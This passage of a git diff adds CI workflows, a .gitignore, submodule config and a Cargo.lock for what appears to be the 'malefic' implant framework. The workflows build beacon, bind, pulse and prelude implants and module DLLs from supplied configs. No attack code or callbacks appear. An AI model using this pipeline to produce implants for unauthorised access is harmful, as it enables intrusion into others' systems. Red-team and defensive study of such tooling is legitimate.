secrets.GH_PAT }} + submodules: recursive + fetch-depth: 0 + + - name: Judge platform and arch + run: | + if [[ "${{matrix.target}}" == *"windows"* ]]; then + echo "platform=win" >> $GITHUB_ENV + elif [[ "${{matrix.target}}" == *"linux"* ]]; then + echo "platform=linux" >> $GITHUB_ENV + elif [[ "${{matrix.target}}" == *"darwin"* ]]; then + echo "platform=darwin" >> $GITHUB_ENV + fi + + if [[ "${{matrix.target}}" == *"x86_64"* ]]; then + echo "arch=x64" >> $GITHUB_ENV + else + echo "arch=x86" >> $GITHUB_ENV + fi + + - name: Setup resources + run: | + # Community edition: resources (prebuild .a/.lib) are already in the repository + ls resources/ + + - name: Generate cache key + id: mutant_cache_key + run: | + HASH=$(find malefic-mutant -name "*.rs" -o -name "Cargo.toml" -o -name "Cargo.lock" | sort | xargs cat | sha256sum | cut -d' ' -f1) + echo "key=mutant-$HASH" >> $GITHUB_OUTPUT + + - name: Cache malefic-mutant binary + id: cache_mutant + uses: actions/cache@v4 + with: + path: | + target/x86_64-unknown-linux-musl/release/malefic-mutant + key: ${{ steps.mutant_cache_key.outputs.key }} + + - name: Pull Docker image + run: | + docker pull ghcr.io/chainreactors/malefic-builder:latest + + - name: Build malefic-mutant + if: steps.cache_mutant.outputs.cache-hit != 'true' + run: | + docker run -v $(pwd):/root/src ghcr.io/chainreactors/malefic-builder:latest \ + bash -c "cargo build -p malefic-mutant --release --target x86_64-unknown-linux-musl" + + - name: Setup malefic-mutant + run: | + mkdir -p target/x86_64-unknown-linux-musl/release/ + cp target/x86_64-unknown-linux-musl/release/malefic-mutant malefic-mutant-x86_64-unknown-linux-musl + chmod +x malefic-mutant-x86_64-unknown-linux-musl + + - name: Generate implant.yaml + if : ${{ github.event.inputs.malefic_config_yaml != null }} + run: | + SECRET_CONFIG_YAML_CONTENT=$(jq -r '.inputs.malefic_config_yaml' $GITHUB_EVENT_PATH) + echo "::add-mask::$SECRET_CONFIG_YAML_CONTENT" + echo $SECRET_CONFIG_YAML_CONTENT + echo "SECRET_CONFIG_YAML_CONTENT=$SECRET_CONFIG_YAML_CONTENT" >> $GITHUB_ENV + echo "$SECRET_CONFIG_YAML_CONTENT" | base64 -d > config.yaml + + - name: Generate prelude.yaml + if : ${{ github.event.inputs.autorun_yaml != null }} + run: | + SECRET_AUTORUN_YAML_CONTENT=$(jq -r '.inputs.autorun_yaml' $GITHUB_EVENT_PATH) + echo "::add-mask::$SECRET_AUTORUN_YAML_CONTENT" + echo "SECRET_AUTORUN_YAML_CONTENT=$SECRET_AUTORUN_YAML_CONTENT" >> $GITHUB_ENV + echo "$SECRET_AUTORUN_YAML_CONTENT" | base64 -d > autorun.yaml + + - name: Setup Cargo cache directories + run: | + mkdir -p ~/.cargo/registry + mkdir -p ~/.cargo/git + mkdir -p ./cargo-cache/registry + mkdir -p ./cargo-cache/git + + - name: Cache Rust dependencies + id: cache_rust + uses: actions/cache@v4 + with: + path: | + ./cargo-cache/registry + ./cargo-cache/git + target + key: ${{ runner.os }}-cargo-${{ hashFiles('**/Cargo.lock') }}-${{ matrix.target }}-${{ github.event.inputs.package }} + restore-keys: | + ${{ runner.os }}-cargo-${{ hashFiles('**/Cargo.lock') }}-${{ matrix.target }}- + ${{ runner.os }}-cargo-${{ hashFiles('**/Cargo.lock') }}- + ${{ runner.os }}-cargo- + + - name: Verify cache restore + run: | + echo "Cache hit: ${{ steps.cache_rust.outputs.cache-hit }}" + echo "Checking cargo cache directories:" + ls -la ./cargo-cache/ || echo "cargo-cache directory not found" + ls -la ./cargo-cache/registry/ || echo "registry directory not found" + ls -la ./cargo-cache/git/ || echo "git directory not found" + + - name: Build(${{ github.event.inputs.package }}, ${{matrix.target}}) + if : ${{ github.event.inputs.package == 'beacon' }} + shell: 'script --return --quiet --log-out /dev/null --command "bash -e {0}"' + run: | + docker run -v $(pwd):/root/src -v $(pwd)/cargo-cache/registry:/root/cargo/registry -v $(pwd)/cargo-cache/git:/root/cargo/git ghcr.io/chainreactors/malefic-builder:latest \ + bash -c "./malefic-mutant-x86_64-unknown-linux-musl generate beacon && ./malefic-mutant-x86_64-unknown-linux-musl build malefic --target ${{matrix.target}}" + + - name: Build(${{ github.event.inputs.package }}, ${{matrix.target}}) + if : ${{ github.event.inputs.package == 'pulse' }} + shell: 'script --return --quiet --log-out /dev/null --command "bash -e {0}"' + run: | + docker run -v $(pwd):/root/src -v $(pwd)/cargo-cache/registry:/root/cargo/registry -v $(pwd)/cargo-cache/git:/root/cargo/git ghcr.io/chainreactors/malefic-builder:latest \ + bash -c "./malefic-mutant-x86_64-unknown-linux-musl generate pulse -p $platform -a $arch && ./malefic-mutant-x86_64-unknown-linux-musl build pulse --target ${{matrix.target}}" + + - name: Build(${{ github.event.inputs.package }}, ${{matrix.target}}) + if : ${{ github.event.inputs.package == 'bind' }} + shell: 'script --return --quiet --log-out /dev/null --command "bash -e {0}"' + run: | + docker run -v $(pwd):/root/src -v $(pwd)/cargo-cache/registry:/root/cargo/registry -v $(pwd)/cargo-cache/git:/root/cargo/git ghcr.io/chainreactors/malefic-builder:latest \ + bash -c "./malefic-mutant-x86_64-unknown-linux-musl generate bind && ./malefic-mutant-x86_64-unknown-linux-musl build bind --target ${{matrix.target}}" + + - name: Build(${{ github.event.inputs.package }}, ${{matrix.target}}) + if : ${{ github.event.inputs.package == 'prelude' }} + shell: 'script --return --quiet --log-out /dev/null --command "bash -e {0}"' + run: | + docker run -v $(pwd):/root/src -v $(pwd)/cargo-cache/registry:/root/cargo/registry -v $(pwd)/cargo-cache/git:/root/cargo/git ghcr.io/chainreactors/malefic-builder:latest \ + bash -c "./malefic-mutant-x86_64-unknown-linux-musl generate prelude autorun.yaml && ./malefic-mutant-x86_64-unknown-linux-musl build prelude --target ${{matrix.target}}" + + - name: Build(${{ github.event.inputs.package }},${{matrix.target}}) + if : ${{ github.event.inputs.package == '3rd' }} + shell: 'script --return --quiet --log-out /dev/null --command "bash -e {0}"' + run: | + docker run -v $(pwd):/root/src -v $(pwd)/cargo-cache/registry:/root/cargo/registry -v $(pwd)/cargo-cache/git:/root/cargo/git ghcr.io/chainreactors/malefic-builder:latest \ + bash -c "./malefic-mutant-x86_64-unknown-linux-musl generate modules -m full && ./malefic-mutant-x86_64-unknown-linux-musl build 3rd -m ${{ github.event.inputs.malefic_modules_features }} --target ${{matrix.target}}" + + - name: Build(${{ github.event.inputs.package }},${{matrix.target}}) + if : ${{ github.event.inputs.package == 'modules' }} + shell: 'script --return --quiet --log-out /dev/null --command "bash -e {0}"' + run: | + docker run -v $(pwd):/root/src -v $(pwd)/cargo-cache/registry:/root/cargo/registry -v $(pwd)/cargo-cache/git:/root/cargo/git ghcr.io/chainreactors/malefic-builder:latest \ + bash -c "./malefic-mutant-x86_64-unknown-linux-musl generate modules -m ${{ github.event.inputs.malefic_modules_features }} && ./malefic-mutant-x86_64-unknown-linux-musl build modules -m ${{ github.event.inputs.malefic_modules_features }} --target ${{matrix.target}}" + + - name: Move ${{ github.event.inputs.package }} to output + run: | + mkdir -p output + sudo chmod -R 777 target + sudo chmod -R 777 output + export prefix=./target/${{matrix.target}}/release + export suffix=$([ "$platform" = "win" ] && echo ".exe" || echo "") + tree ./target + if ${{ github.event.inputs.package == 'beacon' }} || ${{ github.event.inputs.package == 'bind' }}; then \ + mv $prefix/malefic$suffix output/malefic-${{ github.event.inputs.package }}$suffix; \ + elif ${{ github.event.inputs.package == 'prelude' }}; then \ + mv $prefix/malefic-prelude$suffix output/malefic-prelude$suffix; \ + elif ${{ github.event.inputs.package == 'pulse' }}; then \ + mv $prefix/malefic-pulse$suffix output/malefic-pulse$suffix; + elif ${{ github.event.inputs.package == 'modules' }}; then \ + mv $prefix/malefic_modules.dll output/malefic_modules-${{matrix.target}}.dll; \ + elif ${{ github.event.inputs.package == '3rd' }}; then \ + mv $prefix/malefic_3rd.dll output/malefic_3rd-${{matrix.target}}.dll; \ + fi + + - name: Upload artifact ${{matrix.target}} + if: ${{ github.event.inputs.release == 'none' }} + uses: actions/upload-artifact@v4 + with: + name: malefic-${{matrix.target}}-${{ github.run_id }} + path: output/* + retention-days: 2 # you can change this value \ No newline at end of file diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..0d0f50a --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,100 @@ +name: release + +on: + push: + tags: + - 'v*.*.*' + workflow_dispatch: + inputs: + tag_name: + description: 'The tag name for the release' + required: true + default: 'v0.0.1' + draft: + description: 'Create a draft release' + required: false + default: 'true' + +permissions: + contents: write + +jobs: + create-release: + runs-on: ubuntu-22.04 + outputs: + VERSION: ${{ steps.set_version.outputs.VERSION }} + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + submodules: recursive + + - name: Set Version + id: set_version + run: | + if [ "${{ github.event_name }}" == "push" ]; then + VERSION=${GITHUB_REF#refs/tags/} + else + VERSION=${{ inputs.tag_name }} + fi + echo "VERSION=$VERSION" >> $GITHUB_OUTPUT + + - name: Create release + id: create_release + uses: actions/create-release@v1 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + with: + tag_name: ${{ steps.set_version.outputs.VERSION }} + release_name: Release ${{ steps.set_version.outputs.VERSION }} + body: | + Release ${{ steps.set_version.outputs.VERSION }} + draft: true + prerelease: false + + release-mutant: + needs: create-release + runs-on: ubuntu-22.04 + continue-on-error: true + strategy: + matrix: + target: + - x86_64-pc-windows-gnu + - x86_64-unknown-linux-musl + - x86_64-apple-darwin + - aarch64-apple-darwin + steps: + - name: Checkout + uses: actions/checkout@v4 + with: + submodules: recursive + fetch-depth: 0 + + - name: Build malefic-mutant for ${{matrix.target}} + shell: 'script --return --quiet --log-out /dev/null --command "bash -e {0}"' + run: | + mkdir -p output/ + binary_name="malefic-mutant" + release_dir="release" + target_dir="target/${{matrix.target}}/${release_dir}" + docker run -v "$(pwd):/root/src" --rm -it ghcr.io/chainreactors/malefic-builder:latest \ + cargo build --release -p malefic-mutant --target ${{matrix.target}} + + sudo chmod 777 -R target/ + if [[ -f ${target_dir}/${binary_name}.exe ]]; then + mv ${target_dir}/${binary_name}.exe output/${binary_name}-${{matrix.target}}.exe + else + mv ${target_dir}/${binary_name} output/${binary_name}-${{matrix.target}} + fi + + - name: Release ${{ matrix.target }} + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + cd output + for file in *; do + filename=$(basename "$file") + echo "Uploading $filename" + gh release upload ${{ needs.create-release.outputs.VERSION }} $filename + done + shell: bash diff --git a/.github/workflows/runtime-integration.yaml b/.github/workflows/runtime-integration.yaml new file mode 100644 index 0000000..3072c12 --- /dev/null +++ b/.github/workflows/runtime-integration.yaml @@ -0,0 +1,97 @@ +name: runtime-integration + +on: + workflow_dispatch: + inputs: + toolchain: + description: 'Host Rust toolchain' + required: false + default: 'nightly-2024-09-18' + +permissions: + contents: read + +jobs: + integration: + runs-on: windows-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + with: + submodules: recursive + token: ${{ secrets.GH_PAT }} + + - name: Install host toolchain + uses: dtolnay/rust-toolchain@master + with: + toolchain: ${{ github.event.inputs.toolchain || 'nightly-2024-09-18' }} + targets: x86_64-pc-windows-msvc,x86_64-pc-windows-gnu + + - name: Install plugin toolchains (for cross-version build) + run: | + rustup toolchain install nightly-2024-06-20-x86_64-pc-windows-msvc --no-self-update + rustup toolchain install nightly-2024-09-01-x86_64-pc-windows-msvc --no-self-update + rustup toolchain install stable-x86_64-pc-windows-msvc --no-self-update + rustup target add x86_64-pc-windows-gnu --toolchain nightly-2024-06-20-x86_64-pc-windows-msvc + rustup target add x86_64-pc-windows-gnu --toolchain nightly-2024-09-01-x86_64-pc-windows-msvc + rustup target add x86_64-pc-windows-gnu --toolchain stable-x86_64-pc-windows-msvc + + - name: Install MinGW + protobuf + run: | + choco install protoc mingw -y --no-progress + shell: cmd + + - name: Rust cache + uses: Swatinem/rust-cache@v2 + with: + shared-key: "runtime-integration" + cache-targets: true + save-if: true + + - name: Build 6 plugin DLLs (3 versions × msvc/gnu) + shell: bash + run: bash malefic-crates/runtime/tests/cross_version_build.sh + + - name: Build test-runtime-plugin (current toolchain) + run: cargo build -p test-runtime-plugin + + - name: Run protocol + E2E tests + run: | + cargo test -p malefic-runtime --features "host,tokio" --test test_runtime + cargo test -p malefic-runtime --features "host,tokio" --test test_e2e + + - name: 'Cross-version: msvc host × 6 plugins' + shell: bash + run: | + for T in cross_version_enumerate cross_version_pwd cross_version_cat \ + cross_version_upload_single_shot cross_version_upload_streaming \ + cross_version_coexist; do + echo "::group::$T" + cargo test -p malefic-runtime --features "host,tokio" \ + --test test_cross_version -- --exact "$T" --test-threads=1 --nocapture + echo "::endgroup::" + done + + - name: 'Cross-version: gnu host × 6 plugins' + shell: bash + run: | + for T in cross_version_enumerate cross_version_pwd cross_version_cat \ + cross_version_upload_single_shot cross_version_upload_streaming \ + cross_version_coexist; do + echo "::group::$T [gnu]" + cargo test -p malefic-runtime --features "host,tokio" \ + --target x86_64-pc-windows-gnu \ + --test test_cross_version -- --exact "$T" --test-threads=1 --nocapture + echo "::endgroup::" + done + + - name: Build reactor DLL (builtin base) + run: cargo build -p malefic-reactor --features base + + - name: Reactor C FFI test + shell: bash + run: | + gcc -o test_reactor.exe malefic-reactor/tests/c/test_reactor.c -I malefic-reactor/include + cp target/debug/malefic_reactor.dll . + ./test_reactor.exe + rm -f test_reactor.exe malefic_reactor.dll diff --git a/.github/workflows/test.yaml b/.github/workflows/test.yaml new file mode 100644 index 0000000..1cb3e1a --- /dev/null +++ b/.github/workflows/test.yaml @@ -0,0 +1,46 @@ +name: validate + +on: + push: + branches: + - main + - master + +permissions: + contents: write + +jobs: + generate: + runs-on: ubuntu-22.04 + continue-on-error: true + strategy: + matrix: + target: ["x86_64-pc-windows-gnu", "x86_64-unknown-linux-musl", "aarch64-apple-darwin"] + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 + token: ${{ secrets.GH_PAT }} + submodules: recursive + + - name: Authorize Git + run: | + git config --global user.email "$GITHUB_ACTOR@users.noreply.github.com" + git config --global user.name "$GITHUB_ACTOR" + + - name: Update submodule + run: | + git submodule update --init --recursive --remote -f + env: + GITHUB_TOKEN: ${{ secrets.GH_PAT }} + + - name: Build for ${{matrix.target}}) + shell: 'script --return --quiet --log-out /dev/null --command "bash -e {0}"' + run: | + docker run -v $(pwd):/root/src ghcr.io/chainreactors/malefic-builder:latest \ + bash -c "cargo build --release -p malefic-mutant && ./target/release/malefic-mutant generate beacon && ./target/release/malefic-mutant build malefic --target ${{matrix.target}}" + + - name: Build completed + run: | + echo "Build for ${{matrix.target}} completed successfully" diff --git a/.github/workflows/test_local.yaml b/.github/workflows/test_local.yaml new file mode 100644 index 0000000..b0e42ae --- /dev/null +++ b/.github/workflows/test_local.yaml @@ -0,0 +1,46 @@ +name: validate_local + +on: + push: + branches: + - main + - master + +permissions: + contents: write + +jobs: + generate: + runs-on: ubuntu-22.04 + continue-on-error: true + strategy: + matrix: + target: ["x86_64-pc-windows-gnu", "x86_64-unknown-linux-musl", "aarch64-apple-darwin"] + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 + token: ${{ secrets.GH_PAT }} + submodules: recursive + + - name: Authorize Git + run: | + git config --global user.email "$GITHUB_ACTOR@users.noreply.github.com" + git config --global user.name "$GITHUB_ACTOR" + + - name: Update submodule + run: | + git submodule update --init --recursive -f + env: + GITHUB_TOKEN: ${{ secrets.GH_PAT }} + + - name: Build for ${{matrix.target}}) + shell: 'script --return --quiet --log-out /dev/null --command "bash -e {0}"' + run: | + docker run -v $(pwd):/root/src ghcr.io/chainreactors/malefic-builder:latest \ + bash -c "cargo build --release -p malefic-mutant && ./target/release/malefic-mutant generate beacon && ./target/release/malefic-mutant build malefic --target ${{matrix.target}}" + + - name: Build completed + run: | + echo "Build for ${{matrix.target}} completed successfully" diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..60079b8 --- /dev/null +++ b/.gitignore @@ -0,0 +1,25 @@ +target/ +implantpb.rs +.vscode +.DS_store +.idea +remap-path.env +*.backup* +.secrets +.env.act +*.log + + +# Generated files +malefic-starship/generated/ +*.key + +# Test artifacts (large DLLs) +malefic-crates/runtime/tests/artifacts/*.dll + +# Resources: binary artifacts (distributed separately) +resources/*.a +resources/*.lib +resources/*.bin +resources/malefic.rc +resources/app.manifest diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..272ad1f --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "proto"] + path = proto + url = https://github.com/chainreactors/proto.git diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..14e21e7 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,4509 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "addr2line" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" + +[[package]] +name = "adler2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" + +[[package]] +name = "aead" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0" +dependencies = [ + "crypto-common", + "generic-array", +] + +[[package]] +name = "aes" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "age" +version = "0.11.1" +dependencies = [ + "age-core", + "base64 0.21.7", + "bech32", + "chacha20poly1305", + "cookie-factory", + "hmac", + "lazy_static", + "nom", + "pin-project", + "rand 0.8.5", + "scrypt", + "sha2", + "subtle", + "x25519-dalek", + "zeroize", +] + +[[package]] +name = "age-core" +version = "0.11.0" +dependencies = [ + "base64 0.21.7", + "chacha20poly1305", + "cookie-factory", + "hkdf", + "io_tee", + "nom", + "rand 0.8.5", + "secrecy", + "sha2", +] + +[[package]] +name = "ahash" +version = "0.8.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a15f179cd60c4584b8a8c596927aadc462e27f2ca70c04e0071964a73ba7a75" +dependencies = [ + "cfg-if", + "getrandom 0.3.3", + "once_cell", + "serde", + "version_check", + "zerocopy", +] + +[[package]] +name = "aho-corasick" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916" +dependencies = [ + "memchr", +] + +[[package]] +name = "android-tzdata" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "anstream" +version = "0.6.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ae563653d1938f79b1ab1b5e668c87c76a9930414574a6583a7b7e11a8e6192" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "is_terminal_polyfill", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "862ed96ca487e809f1c8e5a8447f6ee2cf102f846893800b20cebdf541fc6bbd" + +[[package]] +name = "anstyle-parse" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e7644824f0aa2c7b9384579234ef10eb7efb6a0deb83f9630a49594dd9c15c2" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e231f6134f61b71076a3eab506c379d4f36122f2af15a9ff04415ea4c3339e2" +dependencies = [ + "windows-sys 0.60.2", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e0633414522a32ffaac8ac6cc8f748e090c5717661fddeea04219e2344f5f2a" +dependencies = [ + "anstyle", + "once_cell_polyfill", + "windows-sys 0.60.2", +] + +[[package]] +name = "anyhow" +version = "1.0.98" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e16d2d3311acee920a9eb8d33b8cbc1787ce4a264e85f964c2404b969bdcd487" + +[[package]] +name = "async-attributes" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3203e79f4dd9bdda415ed03cf14dae5a2bf775c683a00f94e9cd1faf0f596e5" +dependencies = [ + "quote", + "syn 1.0.109", +] + +[[package]] +name = "async-channel" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81953c529336010edd6d8e358f886d9581267795c61b19475b71314bffa46d35" +dependencies = [ + "concurrent-queue", + "event-listener 2.5.3", + "futures-core", +] + +[[package]] +name = "async-channel" +version = "2.5.0" +dependencies = [ + "concurrent-queue", + "event-listener-strategy", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-executor" +version = "1.13.3" +dependencies = [ + "async-task", + "concurrent-queue", + "fastrand", + "futures-lite", + "pin-project-lite", + "slab", +] + +[[package]] +name = "async-fs" +version = "2.2.0" +dependencies = [ + "async-lock", + "blocking", + "futures-lite", +] + +[[package]] +name = "async-global-executor" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05b1b633a2115cd122d73b955eadd9916c18c8f510ec9cd1686404c60ad1c29c" +dependencies = [ + "async-channel 2.5.0", + "async-executor", + "async-io", + "async-lock", + "blocking", + "futures-lite", + "once_cell", +] + +[[package]] +name = "async-io" +version = "2.5.0" +dependencies = [ + "autocfg", + "cfg-if", + "concurrent-queue", + "futures-io", + "futures-lite", + "parking", + "polling", + "rustix", + "slab", + "windows-sys 0.61.2", +] + +[[package]] +name = "async-lock" +version = "3.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5fd03604047cee9b6ce9de9f70c6cd540a0520c813cbd49bae61f33ab80ed1dc" +dependencies = [ + "event-listener 5.4.1", + "event-listener-strategy", + "pin-project-lite", +] + +[[package]] +name = "async-native-tls" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9343dc5acf07e79ff82d0c37899f079db3534d99f189a1837c8e549c99405bec" +dependencies = [ + "futures-util", + "native-tls", + "thiserror 1.0.69", + "url", +] + +[[package]] +name = "async-net" +version = "2.0.0" +dependencies = [ + "async-io", + "blocking", + "futures-lite", +] + +[[package]] +name = "async-process" +version = "2.5.0" +dependencies = [ + "async-channel 2.5.0", + "async-io", + "async-lock", + "async-signal", + "async-task", + "blocking", + "cfg-if", + "event-listener 5.4.1", + "futures-lite", + "rustix", +] + +[[package]] +name = "async-signal" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f567af260ef69e1d52c2b560ce0ea230763e6fbb9214a85d768760a920e3e3c1" +dependencies = [ + "async-io", + "async-lock", + "atomic-waker", + "cfg-if", + "futures-core", + "futures-io", + "rustix", + "signal-hook-registry", + "slab", + "windows-sys 0.60.2", +] + +[[package]] +name = "async-std" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "730294c1c08c2e0f85759590518f6333f0d5a0a766a27d519c1b244c3dfd8a24" +dependencies = [ + "async-attributes", + "async-channel 1.9.0", + "async-global-executor", + "async-io", + "async-lock", + "async-process", + "crossbeam-utils", + "futures-channel", + "futures-core", + "futures-io", + "futures-lite", + "gloo-timers", + "kv-log-macro", + "log", + "memchr", + "once_cell", + "pin-project-lite", + "pin-utils", + "slab", + "wasm-bindgen-futures", +] + +[[package]] +name = "async-task" +version = "4.7.1" + +[[package]] +name = "async-trait" +version = "0.1.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "autocfg" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8" + +[[package]] +name = "aws-lc-rs" +version = "1.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94bffc006df10ac2a68c83692d734a465f8ee6c5b384d8545a636f81d858f4bf" +dependencies = [ + "aws-lc-sys", + "zeroize", +] + +[[package]] +name = "aws-lc-sys" +version = "0.38.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4321e568ed89bb5a7d291a7f37997c2c0df89809d7b6d12062c81ddb54aa782e" +dependencies = [ + "cc", + "cmake", + "dunce", + "fs_extra", +] + +[[package]] +name = "backtrace" +version = "0.3.71" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26b05800d2e817c8b3b4b54abd461726265fa9789ae34330622f2db9ee696f9d" +dependencies = [ + "addr2line", + "cc", + "cfg-if", + "libc", + "miniz_oxide 0.7.4", + "object", + "rustc-demangle", +] + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "bech32" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d86b93f97252c47b41663388e6d155714a9d0c398b99f1005cbc5f978b29f445" + +[[package]] +name = "bindgen" +version = "0.72.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "993776b509cfb49c750f11b8f07a46fa23e0a1386ffc01fb1e7d343efc387895" +dependencies = [ + "bitflags 2.11.0", + "cexpr", + "clang-sys", + "itertools 0.13.0", + "log", + "prettyplease", + "proc-macro2", + "quote", + "regex", + "rustc-hash", + "shlex", + "syn 2.0.108", +] + +[[package]] +name = "bit-set" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08807e080ed7f9d5433fa9b275196cfc35414f66a0c79d864dc51a0d825231a3" +dependencies = [ + "bit-vec", +] + +[[package]] +name = "bit-vec" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e764a1d40d510daf35e07be9eb06e75770908c27d411ee6c92109c9840eaaf7" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "843867be96c8daad0d758b57df9392b6d8d271134fce549de6ce169ff98a92af" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "block-padding" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93" +dependencies = [ + "generic-array", +] + +[[package]] +name = "blocking" +version = "1.6.2" +dependencies = [ + "async-channel 2.5.0", + "async-task", + "futures-io", + "futures-lite", + "piper", +] + +[[package]] +name = "borrow-or-share" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3eeab4423108c5d7c744f4d234de88d18d636100093ae04caf4825134b9c3a32" + +[[package]] +name = "bumpalo" +version = "3.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46c5e41b57b8bba42a04676d81cb89e9ee8e859a1a66f80a5a72e1cb76b34d43" + +[[package]] +name = "bytecount" +version = "0.6.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "175812e0be2bccb6abe50bb8d566126198344f707e304f45c648fd8f2cc0365e" + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "bytes" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a" + +[[package]] +name = "bzip2" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bdb116a6ef3f6c3698828873ad02c3014b3c85cadb88496095628e3ef1e347f8" +dependencies = [ + "bzip2-sys", + "libc", +] + +[[package]] +name = "bzip2-sys" +version = 